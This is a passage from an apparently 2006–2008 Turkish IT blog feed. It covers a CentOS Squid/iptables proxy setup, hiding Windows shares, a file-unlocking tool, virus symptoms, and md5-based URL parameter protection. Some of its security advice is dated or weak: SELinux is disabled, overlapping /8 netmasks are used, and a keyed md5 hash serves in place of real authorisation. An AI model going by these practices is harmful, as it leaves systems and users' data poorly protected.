class="colorbox-84"  alt=2 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/2.thumbnail.JPG"></a></p><p>Next dediğimizde bize sistem dilini devamında sistem klavye dilini belirlememizi isticektir. Her ikisindede Turkish seçilmelidir.</p><p>Devam eden ekranda sistemi kurmak için diskin bölümlerinin oluşturulması aşaması gelecektir. Burada Diski otomatik bölümlendirmesini ve mevcut bölümlerin silinmesini onayladığımızda kur diskimizi Resim 3 teki gibi parçalara böler.</p><p>Resim 3 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/3.JPG" title="3" class="liinternal"><img class="colorbox-84"  alt=3 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/3.thumbnail.JPG"></a></p><p>Bir sonraki ekran Önyükleyici belirlenmesi. Bu ekranda bir değişiklik yapmadan İleri diyerek devam edelim. Devamında ise Ağ yapılandırması ekranı karşımıza gelecektir. Öncelikle bir ağ planımızı yapalım. Sizde kendinize uygun bir şekilde yapabilirsiniz.</p><p>&nbsp;</p><p>Modem IP : 10.0.0.1<br />DMZ IP Aralığı : 10.0.0.3 &#8211; 10.0.0.254<br />Linux WAN IP : 10.0.0.2<br />Linux WAN Gateway(Ağ Geçidi) : 10.0.0.1<br />Linux LAN IP : 10.0.1.1<br />Local IP Aralığı : 10.0.1.2 &#8211; 10.0.1.254<br />Local Ağ Geçidi : 10.0.1.1<br />Alt Ağ Maskesi : 255.0.0.0</p><p>Not : Demilitarized Zone (DMZ) Linux tarafından kısıtlanmadan direkt modem üzerinden internete bağlanmasını istediğiniz cihazlardır.</p><p>Diagram :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/4.JPG" title="4" class="liinternal"><img class="colorbox-84"  alt=4 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/4.thumbnail.JPG"></a></p><p>Bu durumda Linux makinemize bağlı 2 adet ethernet kartını network ayarları ekranında yukarıdaki tabloya uygun bir şekilde ayarlıyoruz.(Resim 5)</p><p>Resim 5 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/5.JPG" title="5.JPG" class="liinternal"><img class="colorbox-84"  alt=5.JPG src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/5.thumbnail.JPG"></a></p><p>Bir sonraki adım Güvenlik Duvarı ayarları. Biz burada CentOS üstune iptables kuracağımızdan CentOS üstünde gelen güvenlik duvarını kullanmıyoruz. Güvenlik duvarını ve SELinux ı kapalı hale getirip devam edelim.</p><p>Sonraki ekranda Sistem Dilini English yapıyoruz. TR desteği tam olmadığından ve çıkan sorunlara ingilizce yanıt bulmak daha kolay olduğundan ingilizceyi seçiyoruz.</p><p>Bir sonraki ekranda artık konfigurasyonumuz bitiyor ve bizden sistemin yöneticisi olan root kullanıcısının şifresini belirlememizi istiyor. Şifre yazıp devam ediyoruz.</p><p>Sonraki aşamada bize neleri kurmak istediğimizi belirtmemizi istiyor. Bu aşamada Ön tanımlı paketleri kurmak şu anda bize yeterli. Ön tanımlı paketlerimizi kuruyoruz. Ve İleri deyip kurulumumuzu başlatıyoruz.</p><p>Ve CentOS Kurulumumuz tamamlanıyor. (Resim 6)</p><p>Resim 6 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/6.JPG" title="6" class="liinternal"><img class="colorbox-84"  alt=6 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/6.thumbnail.JPG"></a></p><p>Sistem yeniden başladıktan sonra terminal ekranında açılır ve bizden login olmamız istenir. Daha önceden belirlediğimiz root kullnıcısı ve şifresi ile sisteme login olunur. (Resim 7)</p><p>Resim 7 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/7.JPG" title="7" class="liinternal"><img class="colorbox-84"  alt=7 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/7.thumbnail.JPG"></a></p><p>Bundan Sonraki adımları burada kod çerçevesinde yazacağım.</p><p>Öncelikle Network ayarlarımızı tekrar tanımlayalım ve sınayalım :</p><pre class="brush: c; ">
 [root@proxy ~]$ ifconfig eth0 10.0.0.2 netmask 255.0.0.0 [root@proxy ~]$ ifconfig eth1 10.0.1.1 netmask 255.0.0.0 [root@proxy ~]$ route add default gw 10.0.0.1
</pre><p>Devamında sunucunun güncelliğini kontrol ediyoruz.</p><pre class="brush: c; ">

[root@proxy ~]$ yum upgrade ...... Transaction Summary =============================================================================
Install 3 Package(s) Update 169 Package(s) Remove 0 Package(s) Total download size: 187 M Is this ok [y/N]:Y # Y tuşuna basarak devam ediyoruz.
</pre><p>yum gerekli bileşenleri kontrol edip internetten indirip sisteme kuracaktır.</p><p>CentOS ile apache webserver, squid, iptables zaten gelmektedir. Eğer kurulumda sisteme yüklenmemişse aşağıdaki kodu yazarak sisteme kurulmasını sağlayabilirsiniz.</p><pre class="brush: c; ">
 [root@proxy ~]$ yum install httpd php iptables squid
</pre><p>><p>Şimdi bize bir adet metin editoru lazım. Config dosyalarımızı rahat bir şekilde düzenlemek için. Ben bu işlem için Pico/pine/nano yu kullanıyorum. Linux terminal ekranından bir adresten dosya çekmek için wget komutu kullanılır. <br />Not : Adres sığmadığı için <a href="ftp://ftp.nluug.nl/pub/ibiblio/distributions/smeserver/releases/testing/7.2/smeos/i386/CentOS/RPMS/pine-4.64-3.el4.rf.i386.rpm" target="_blank" class="liftp previewlink">bu linkin</a> adresini kullanınız.</p><pre class="brush: c; ">
 [root@proxy ~]$ wget ftp://ftp.nluug.nl/pub/ibiblio/distributions/smeserver/releases/testing/7.2/smeos/i386/CentOS/RPMS/pine-4.64-3.el4.rf.i386.rpm [root@proxy ~]$ rpm -Uhvf pine-4.64-3.el4.rf.i386.rpm
</pre><p>Böylece artık bir metin editörümüz var (pico)</p><p>Artık Webmin (Linux Yönetim Web Arayüzü) kurabiliriz.<br />Not : Adres sığmadığı için <a href="http://kent.dl.sourceforge.net/sourceforge/webadmin/webmin-1.340-1.noarch.rpm" target="_blank" class="liexternal previewlink">bu linkin</a> adresini kullanınız.</p><pre class="brush: c; ">
 [root@proxy ~]$ wget http://kent.dl.sourceforge.net/sourceforge/webadmin/webmin-1.340-1.noarch.rpm [root@proxy ~]$ rpm -Uhvi webmin-1.340-1.noarch.rpm
</pre><p>Webmin kurulduktan sonra ağda bulunan herhangi bir makineden browser adres çubuğuna http://10.0.1.1:10000 yazdığımızda karşımıza webmin panel gelecek ve root kullanıcısı ve şifresi ile login olup sistemdeki ayarlamaları bu panel üzerinden rahatça yapabiliriz.</p><blockquote><p>Webmin&#8217;in dili varsayılan olarak ingilizce gelir. Soldaki menüden Webmin Language/Themes ten Dil seçimi yapabilirsiniz.</p></blockquote><p>Squid Proxy Sunucusunun çalışması için Webmin panelimizde Sunucular bölümünden Squid Proxy Sunucusunu seçiyoruz. Squid ilk defa çalışacağı için Cache için bir klasörün ilklendirilmesini isteyecektir. Resim 8 deki gibi Cache İlklendir butonuna basarak bu işlemi yapalım.</p><p>Resim 8 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/8.JPG" title="8" class="liinternal"><img class="colorbox-84"  alt=8 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/8.thumbnail.JPG"></a></p><p>Squid kurulumumuz tamamlandığına göre artık Güvenlik Duvarımızı çalışır hale getirme zamanı geldi. Bunun için Linux config dosyalarının bulunduğu /etc klasörüne bir dosya oluşturup bunun içinde iptables ayarlarını tanımlayacağız. ve bu dosyayı her açılışta çalışması için ayarlayacağız. o yuzden tekrar terminale geçiyoruz.</p><blockquote><p>Linux sunucumuz ağda olduğuna göre artık ne monitöre nede klavye mouse ihtiyacımız var. Terminali ağımızdaki herhangi bir pc den de yönetebiliriz. Bunun için <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/" target="_blank" class="liexternal previewlink">Putty</a> isimli ufak bir SSH bağlantı yazılımı kullanıyoruz. Programı bu <a href="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe" class="lizip">linkten</a> indirebilirsiniz. Kullanımı gayet basittir. Çalıştırdığımızda gelen ekranda Host kısmına Linux Sunucumuzun IP adresini yazıp SSH ı seçmemiz ve Connect dememiz yeterlidir. Putty üzerinde kopyalama/yapıştırma Windows gibi değildir. Kopyalamak için kopyalanacak yeri seçmeniz yeterlidir. Yapıştırmak içinse yapıştırılacak yere imleci getirip mouse sağ butonu ile yapıştırılır.</p></blockquote><p>Güvenlik Duvarını aktif etmek için Putty ile Linux Sunucumuza bağlanıp sırası ile aşağıdaki komutları verelim.<br />Not : Örnek Güvenlik Duvarı Konfigurasyon Dosyası için <a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/rcfirewall.txt" title="rc.firewall" class="lipdf">tıklayın.</a>.</p><pre class="brush: c; ">
 [root@proxy ~]$ cd /etc [root@proxy etc]$ pico rc.firewall
</pre><p># Burada metin editörümüz bize boş bir rc.firewall dosyası oluşturup düzenlemek için ekranımıza getirir. Yukarıda verdiğim dosya içeriğini kendinize göre düzenleyip buraya yapıştırarak Ctrl+X ve Y Enter diyerek kaydedip çıkmamız gerekmektedir.</p><pre class="brush: c; ">
 [root@proxy etc]$ chmod +x rc.firewall [root@proxy etc]$ ./rc.firewall
</pre><p>Böylece yukarıda tanımladığımız tüm güvenlik tanımlamaları uygulanmış oldu. Artık Squid Proxy Sunucusu üzerinde Kullanıcı tanımlamaları ve kısıtlama tanımlamaları yapmaya başlayabiliriz.</p><blockquote><p><font color="#555555" face="Arial">Çok özür dileyerek makaleme uzun bir arada sonra devam ediyorum.</font></p></blockquote><p><em></em>&nbsp;</p><p>Şimdi squid proxy sunucusunun kullanıcı tanımlamalarını yapmaya başlayabiliriz.</p><p>Webmin üzerinden squid sunucusu ayarlarına girdiğimizde karşımıza Resim 8 deki gibi bir görüntü gelmesi gerekmektedir. Giriş kontrol kısmı kullanıcı tanımlamarı yapmamıza ve bu kullanıcılara kısıtlamalar vermemizi sağlıyacaktır.</p><p>Giriş kontrol kısmı temelde 2 alandan oluşur. Bunlar tanımlamalar ve kısıtlamalardır.<br />Sol taraf Tanımlamalar, Sağ taraf ise kısıtlamaları oluşturur.</p><p>Öncelikle yukarıda tanımladığımız ağ özelliklerine uygun örnek bir <a href="http://muzaffer.akyil.net/wp-content/uploads/2008/01/squid.conf" target="_blank" class="liinternal">squid configuration</a> dosyasını sizlere sunacağım. Bu dosya üzerinde kendi networkünüze uyarlayarak /etc/squid altına eskisinin üstüne yüklerseniz sizin için çok rahat olucaktır. Geri kalan tüm ayarlamalarıWebmin üzerinde çok rahat bir şekilde yapabilrisiniz.</p><p><font color="#ff0000">Önemli Uyarı :</font> Unutulmaması gereken en önemli şey sağ tarafta bulunan kısıtlamalar alanının en altında her zaman İzin verilmedi(Deny) all kısıtının bulunmasıdır. Bu kısıtın altında bulunacak tanımlamalar Squid tarafından dikkate alınmaz ve kullanıcı kısıtlanmış sayılır.</p><p>Tüm bu ayarlamalar tamamlandıktan sonra artık Squid ve iptables i çalıştırma zamanımız gelmiş demektir.</p><pre class="brush: c; ">
 [root@proxy etc]# service squid start Starting squid:                                            [OK] [root@proxy etc]# ./rc.firewall          setting global variables          applying general security settings to /proc filesystem          applying nat rules          applying icmp rules          applying squid rules          applying the open port(s) to the firewall rules          applying default drop policies  ### quicktables is loaded ### [root@proxy etc]#
</pre><p>komutları ile firewall ve proxy sunucumuzu çalışır hale getirdik.</p><p><strong>Makalede kullanılan örnek dosyalar</strong></p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/rcfirewall.txt" target="_blank" class="lipdf">Örnek iptables Dosyası</a><br /><a href="http://muzaffer.akyil.net/wp-content/uploads/2008/01/squid.conf" target="_blank" class="liinternal">Örnek Squid Configuration File</a><br /><a href="http://muzaffer.akyil.net/wp-content/uploads/2008/01/msnyasak.txt" target="_blank" class="lipdf">Örnek MSNYasak Dosyası</a><br /><a href="http://muzaffer.akyil.net/wp-content/uploads/2008/01/yasak.txt" target="_blank" class="lipdf">Örnek Yasak Dosyası</a></p><p>Kolay Gelsin.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2007%2F05%2F31%2Fmakale%2Fos%2Flinux%2Fadmin%2Flinux-squid-iptables-ile-internet-yonetimi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-84"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=84&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2007/05/31/makale/os/linux/admin/linux-squid-iptables-ile-internet-yonetimi.aspx/feed</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>Paylaşılan Klasörleri Gizleme</title><link>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/paylasilan-klasorleri-gizleme.aspx</link> <comments>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/paylasilan-klasorleri-gizleme.aspx#comments</comments> <pubDate>Mon, 16 Apr 2007 10:49:41 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Network]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[folders]]></category> <category><![CDATA[gizle]]></category> <category><![CDATA[gizleme]]></category> <category><![CDATA[hide]]></category> <category><![CDATA[klasör]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[pylaşılan]]></category> <category><![CDATA[shared]]></category> <category><![CDATA[xp]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2007/04/16/makale/guvenlik/admin/paylasilan-klasorleri-gizleme.aspx</guid> <description><![CDATA[Microsoft Windows XP platformunda bir klasörü paylaşıma açtığımızda, klasör tüm ağdaki kullanıcılar tarafından görünür ve paylaşım yetkilendirmesi Everyone ise tüm kullanıcılar tarafından içeriği rahatlıkla görülebilir.Bu gibi durumlarda paylaşımı yetkilendirmek istediğimizde bağlanmasını istediğimiz kullanıcılara eğer Domain yapısında isek Kullanıcı adlarına direk yetki vererek, eğer WorkGroup yapısında isek girmesini istediğimiz kullanıcının local user adı ile local user [...]]]></description> <content:encoded><![CDATA[<p>Microsoft Windows XP platformunda bir klasörü paylaşıma açtığımızda, klasör tüm ağdaki kullanıcılar tarafından görünür ve paylaşım yetkilendirmesi Everyone ise tüm kullanıcılar tarafından içeriği rahatlıkla görülebilir.<span id="more-67"></span>Bu gibi durumlarda paylaşımı yetkilendirmek istediğimizde bağlanmasını istediğimiz kullanıcılara eğer Domain yapısında isek Kullanıcı adlarına direk yetki vererek, eğer WorkGroup yapısında isek girmesini istediğimiz kullanıcının local user adı ile local user oluşturarak oluşturduğumuz bu usera yetki vermemiz gerekir. Buraya kadar bi sorun yok ama halen paylaştıgımız klasörün adı bizim makine ismimize tıklandığında görünür. Bunun görünmesini istemiyorsak eğer aşağıda linkini verdiğim sitedeki adımları uygulayabilirsiniz.</p><p>İyi Çalışmalar&#8230;</p><p>Link : <a href="http://www.practicallynetworked.com/sharing/xp/filesharing.htm" target="_blank" class="liexternal previewlink">http://www.practicallynetworked.com/sharing/xp/filesharing.htm</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2007%2F04%2F16%2Fmakale%2Fguvenlik%2Fadmin%2Fpaylasilan-klasorleri-gizleme.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-67"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=67&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/paylasilan-klasorleri-gizleme.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Unlocker 1.8.5 &#8211; Kullanımda olan dosyaları silmek için</title><link>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/unlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx</link> <comments>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/unlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx#comments</comments> <pubDate>Mon, 16 Apr 2007 10:40:55 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[dosya]]></category> <category><![CDATA[kilitli]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[silme]]></category> <category><![CDATA[unlocker]]></category> <category><![CDATA[xp]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2007/04/16/makale/guvenlik/admin/unlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx</guid> <description><![CDATA[http://ccollomb.free.fr/unlocker/]]></description> <content:encoded><![CDATA[<p>Bazen bir dosya silmek istediğimizde bu dosyanın bir program tarafından kullanıldığını bildiren bir mesaj alırız Windows tan. Bu gibi durumlar genelde sisteme bulaşan bir spy,trojan gibi yazılımın dosyasının açık olması (faal olması) yüzünden silmemizi engeller.<span id="more-65"></span>Böyle durumlarda işimize çok yarıyacak bir programı sizlere tanıştırıcam. Program çok basit. Kuruyorsunuz ve o işini yapıyor. Türkçe dil desteği de bulunan bu yazılımla, silemezsiniz uyarısı gördüğünüz anda karşınıza geliyor ve o dosya için napmak istediğinizi size soruyor. Sil, Taşı, Ad Değiştir gibi. Ve verdiğiniz komutla o işlem dosyaya uygulanıyor. Program Ektedir.</p><p>İyi Çalışmalar&#8230;</p><p>Link : <a href="http://muzaffer.akyil.net/wp-content/uploads/2007/04/unlocker185.exe" title="Unlocker 1.8.5" class="lizip">Unlocker 1.8.5</a></p><p>Kendi Sitesi : <a href="http://ccollomb.free.fr/unlocker/" target="_blank" class="liexternal previewlink">http://ccollomb.free.fr/unlocker/</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2007%2F04%2F16%2Fmakale%2Fguvenlik%2Fadmin%2Funlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-65"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=65&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/unlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Bilgisayara Virüs Bulaştığı Nasıl Anlaşılır ve Nasıl Temizlenir?</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/virustemizleme.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/virustemizleme.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 09:41:39 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[virus]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[xp]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/virustemizleme.aspx</guid> <description><![CDATA[Eğer elinizde anti-virüs yazılımı yoksa bilgisayarınızda virüs olduğunu ancak (çoğunlukla) virüs etkisini gösterdikten sonra anlayabilirsiniz. Nadiren, dosya adı sabit ve bilinen virüsleri dosya adıyla tarayarak bulmak ve silmek çözüm olabilir. Bir virüsün etkileri bilgisayarda anormal yavaşlama, Windows uygulamalarında beklenmeyen hata mesajları (application error, system fault, missing files vs. gibi), bilgisayarın kilitlenmesi, rastgele DOS işletim sistemine [...]]]></description> <content:encoded><![CDATA[<p>Eğer elinizde anti-virüs yazılımı yoksa bilgisayarınızda virüs olduğunu ancak (çoğunlukla) virüs etkisini gösterdikten sonra anlayabilirsiniz.<br /> <span id="more-52"></span><br /> Nadiren, dosya adı sabit ve bilinen virüsleri dosya adıyla tarayarak bulmak ve silmek çözüm olabilir. Bir virüsün etkileri bilgisayarda anormal yavaşlama, Windows uygulamalarında beklenmeyen hata mesajları (application error, system fault, missing files vs. gibi), bilgisayarın kilitlenmesi, rastgele DOS işletim sistemine dönmesi, normalde açılan dosyaların açılmaması, anormal sesler/görsel davranışlar ya da bilgisayarınızın isteğiniz dışında işlemler yapmaya başlaması şeklinde kendini gösterebilir. Bu durumda yapılacak şey, bir anti-virüs programı kullanarak bilgisayarın virüsten temizlenmesidir. Ancak, virüsün bilgisayara önemli ölçüde/geri dönülmez hasarlar vermiş olduğu durumlarda virüsten temizleme işlemi her zaman başarılı olmayabilir.</p><p>Bilgisayarınızda anti-virüs yazılımı olmadığı durumlarda, bu yazılıma sahip bir bilgisayarda daha önceden hazırlanmış olan acil durum disketi ile diskinizde ve disketlerinizde virüs taraması yapabilirsiniz.</p><p>Anti-virüs yazılımlarının tarama işlemi sonrasında virüs bulamaması bilgisayarda virüs olmadığını değil, sadece tarama işleminde kullanılan anti-virüs programlarının tanıdığı virüslerin mevcut olmadığını gösterir. Kullanılan anti-virüs yazılımlarının buldukları virüsleri silmeleri veya bulaştıkları dosyalardan temizlemeleri mümkün olmaması da zaman zaman karşılaşılan bir durumdur. Bu durumda kullanılan anti-virüs programının güncellenmesi veya daha güncel başka bir anti-virüs yazılımının kullanılması uygun olacaktır. Yani, kullanılan anti-virüs programının tanımadığı bir virüsün bilgisayarınıza bulaşmış olması ihtimali her zaman vardır.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2Fvirustemizleme.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-52"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=52&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/virustemizleme.aspx/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>URL String Güvenliği</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 09:24:51 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[md5]]></category> <category><![CDATA[query string]]></category> <category><![CDATA[security]]></category> <category><![CDATA[url]]></category> <category><![CDATA[web design]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx</guid> <description><![CDATA[Dinamik sayfaların internette statik sayfaların yerine geçmesi ile birlikte ilgili html sayfarına paremetre göndererek sayfanın içeriğinin değişmesi sağlanabiliyor. Örneğin http://xyz.com/kategori.php?k=1 sayfası k parametresi ile kaçıncı kategoriyi görüntülemek istiyorsanız ona ait olan resmi gösterir. Daha özel sayfalarımız olduğunu varsayalım. Mesela kullanıcılarımızın icq da olduğu gibi bir kullanıcı numarası ile tekilliğini sağladığımızı varsayalım. http://xyz.com/kullanici.php?no=1 şeklinde ki bir [...]]]></description> <content:encoded><![CDATA[<p>Dinamik sayfaların internette statik sayfaların yerine geçmesi ile birlikte ilgili html sayfarına paremetre göndererek sayfanın içeriğinin değişmesi sağlanabiliyor.<br /> <span id="more-51"></span></p><p><strong>Örneğin</strong></p><p><strong>http://xyz.com/kategori.php?k=1</strong> sayfası <strong>k</strong> parametresi ile kaçıncı kategoriyi görüntülemek<br /> istiyorsanız ona ait olan resmi gösterir.</p><p>Daha özel sayfalarımız olduğunu varsayalım. Mesela kullanıcılarımızın icq da olduğu gibi bir kullanıcı numarası ile tekilliğini sağladığımızı varsayalım.</p><p><strong>http://xyz.com/kullanici.php?no=1</strong> şeklinde ki bir yapının <strong>1</strong> nolu kullanıcının bilgilerini diğer kullanıcılara göstermek için kullanıldığını varsayalım.</p><p>Sitenizi gezen her hangibir kişi sitede diğer kullanıcı bilgilerine ulaşmak için tek yapacağı no parametresini arttırarak sayfayı yeniden çağırmak olacaktır.</p><p>Böylecene izin verdiğiniz kadar olan bilgilere rahatlıkla ulaşabilecektir. Eğer sizin istediğiniz sadece gösterilen bağlantıdan kullanıcı bilgilerine ulaşmak ise şimdi anlatacağım yöntem işinize yarayabilir.</p><p><strong>md5() fonksiyonu</strong></p><p>md5 fonksiyonu bir katarın (string) 32 karakterlik hexedecimal hash değerini MD5 message digest algoritmasını kullanarak döndürür. Bulunan değerden (çıktı) girdiye tekrar geri dönülemez. Yani algoritma tek yönlü bir şifreleme algoritmasıdır. Php&#8217;de string md5(string str) şeklinde tanımlanmıştır.</p><p>örnek vermek gerekirse md5 lenmiş girdi ve çıktı aşağıdaki gibi görülebilir.</p><p><code lang="php">for($n=1; $n < 10 ;$n++ )<br /> {<br /> $str = md5($n);<br /> echo "$n:$str";<br /> }</code><br /> Çıktısı:<br /> <code lang="php">/*<br /> 1:c4ca4238a0b923820dcc509a6f75849b<br /> 2:c81e728d9d4c2f636f067f89cc14862c<br /> 3:eccbc87e4b5ce2fe28308fd9f2a7baf3<br /> 4:a87ff679a2f3e71d9181a67b7542122c<br /> 5:e4da3b7fbbce2345d7772b0674a318d5<br /> 6:1679091c5a880faf6fb5e6087eb1b2dc<br /> 7:8f14e45fceea167a5a36dedd4bea2543<br /> 8:c9f0f895fb98ab9159f51fd0297e236d<br /> 9:45c48cce2e2d7fbdea1afc51c7c6ad26<br /> */</code></p><p><strong>md5'i nasıl kullanacağız</strong></p><p><strong>http://xyz.com/kullanici.php?no=1</strong> şeklinde bir URL üzerinde ziyaretçi kolayca mantık yürütüp no yu arttırarak diğer kullanıcılar hakkında bilgiye ulaşabilirdi. Dahada kötüsü bir program yapıp sunduğunuz kadar bilgiyi ele geçirebilir.</p><p>Biz bu kişilerin işlerini biraz daha zorlaştırmaya çalışalım. Yukarıda ki URL adresini kendimiz yaratalım ve <strong>http://xyz.com/kullanici.php?no=1&#038;m=c4ca4238a0b923820dcc509a6f75849b</strong> şekline getirelim.</p><p>Bu işlemden sonrada kullanici php'de kontrol yapmamız gerekiyor. Kontrolun aşağıdaki şekilde olduğunu varsayalım.</p><p><code lang="php">if($m!=md5($no))<br /> {<br /> echo "İzinsiz ulaşım.";<br /> exit(); // Burada bir hata sayfası çıkarmak daha mantıklı<br /> }<br /> // Buraya gelebildiyseniz normal görüntüleme işlemne devam edebilirsiniz.<br /> </code></p><p><strong>Daha iyisi</strong><br /> Tamam bu yöntemi kullandığınızı varsayalım peki ya bu dokümanı okuyan tek kişi siz değilseniz. Birinci parametreyi md5 leyip ikincisini bilgiyi ulaşabilen kişi yaratabilirse ne olacak.</p><p>Küçük bir çözüm program içinde md5 fonksiyonuna bir ekleme yapmak. Örneğin bir anahtar ekliyebiliriz.</p><p><code lang="php">$anahtar = ':) kimse bilmez';<br /> for($n=1; $n < 10 ;$n++ )<br /> {<br /> $str = md5($n.$anahtar);<br /> echo "$n:$str";<br /> }</code><br /> Çıktısı :<br /> <code lang="php">/*<br /> 1:ca4dd161be8e0eb1822c8774406b598b<br /> 2:7af9fc853719a96a661c9173e4be5f5a<br /> 3:1ac140b91f245a4406ff6f4f99af5045<br /> 4:de5e507a1468d4add1d87e343a6adb56<br /> 5:c5a040e097b07346e3cd4fa9df917b5a<br /> 6:61e2e0e8423585e8b9f32e09ac9fa458<br /> 7:4528f12d61df3ba3a2f08a5c82646441<br /> 8:086cf3e596d30bc8ed7dc2de21b5fcfa<br /> 9:02c70560d05402b519204ae2911bb004<br /> */<br /> </code></p><p>Gördüğünüz gibi değerler değişti. Anahtarı kimse bilmediğine göre artık sorunumuz yok. Unutmamalı ki bu sadece işleri biraz zorlaştırmak için bir yöntem. İnsan yapımı olduğu sürece bir şekilde bilgileriniz güvenli değildir. Ama biz yinede eşeği bağlayalım.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2Furl-string-guvenligi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-51"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=51&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>%100 Site Güvenliği</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 09:05:37 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[md5]]></category> <category><![CDATA[query string]]></category> <category><![CDATA[security]]></category> 